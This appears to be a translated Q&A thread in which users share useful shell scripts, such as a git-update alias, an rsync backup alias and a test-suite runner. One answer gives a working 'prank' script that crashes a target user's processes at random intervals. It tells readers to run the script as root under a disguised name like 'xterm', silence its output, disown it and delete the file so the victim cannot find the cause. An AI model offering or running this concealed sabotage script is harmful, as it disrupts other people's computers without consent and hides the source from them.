什么是有趣的shell脚本?

And*_*rew 8 bash shell powershell

我喜欢能够使用shell脚本自动化我的计算机的想法,但我不知道我实际可以做什么.

您是否在服务器,个人计算机,上网本等上使用或者看过以新颖方式使用的shell脚本?

我想到的一些例子:

  • 优化电池寿命:关闭服务,修改亮度,关闭可能保持开放但不必要的程序等
  • 创建工作区配置文件:打开一组应用程序并执行学校,工作等操作.
  • 在其他人的电脑上恶作剧:你觉得有些有趣...... :)

真的很想知道你可能要分享的内容,谢谢!

Sor*_*gal 11

这是一个有趣的恶作剧

#!/bin/bash
user=$1
while true ; do
    kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)
    sleep $RANDOM
done
Run Code Online (Sandbox Code Playgroud)

每隔几分钟,$ user拥有的程序就会出现段错误.如果以root身份运行并且给出一个无辜的名称,那么最好,但是以$ user运行它也可以.将脚本保存为例如"xterm"或"kded"或"gnome-session",chmod a + x脚本,然后像这样调用它:

$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname
Run Code Online (Sandbox Code Playgroud)

这将教会你的朋友不要让他们的系统解锁.此实现使用bsdgames中的随机,但您可以采用另一种方式进行选择.


chr*_*ock 5

要使我的所有 Git 存储库保持最新:

alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'
Run Code Online (Sandbox Code Playgroud)

要将我的计算机备份到远程空间:

alias backup='rsync -av ~/Documents user@domain.com: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'
Run Code Online (Sandbox Code Playgroud)


Mic*_*yan 1

是的。我一直使用和创建脚本来自动化各种工作任务。调用示例:

some_project_test_suite
Run Code Online (Sandbox Code Playgroud)

这是一个 cd 到我存储 some_project 的文件夹中的脚本,然后在该文件夹中运行一系列不同的测试,这在命令行上一遍又一遍地输入会很痛苦。

这样的脚本可能非常简单,如下所示:

#! /bin/bash
cd path/to/folder/containing/some_project
path/to/build/system/binary test_target1 \
                            test_target2 \
                            ...
                            test_targetN
Run Code Online (Sandbox Code Playgroud)

也就是说,我不确定我会准确地称呼这本小说。自动化应该是相当常规的。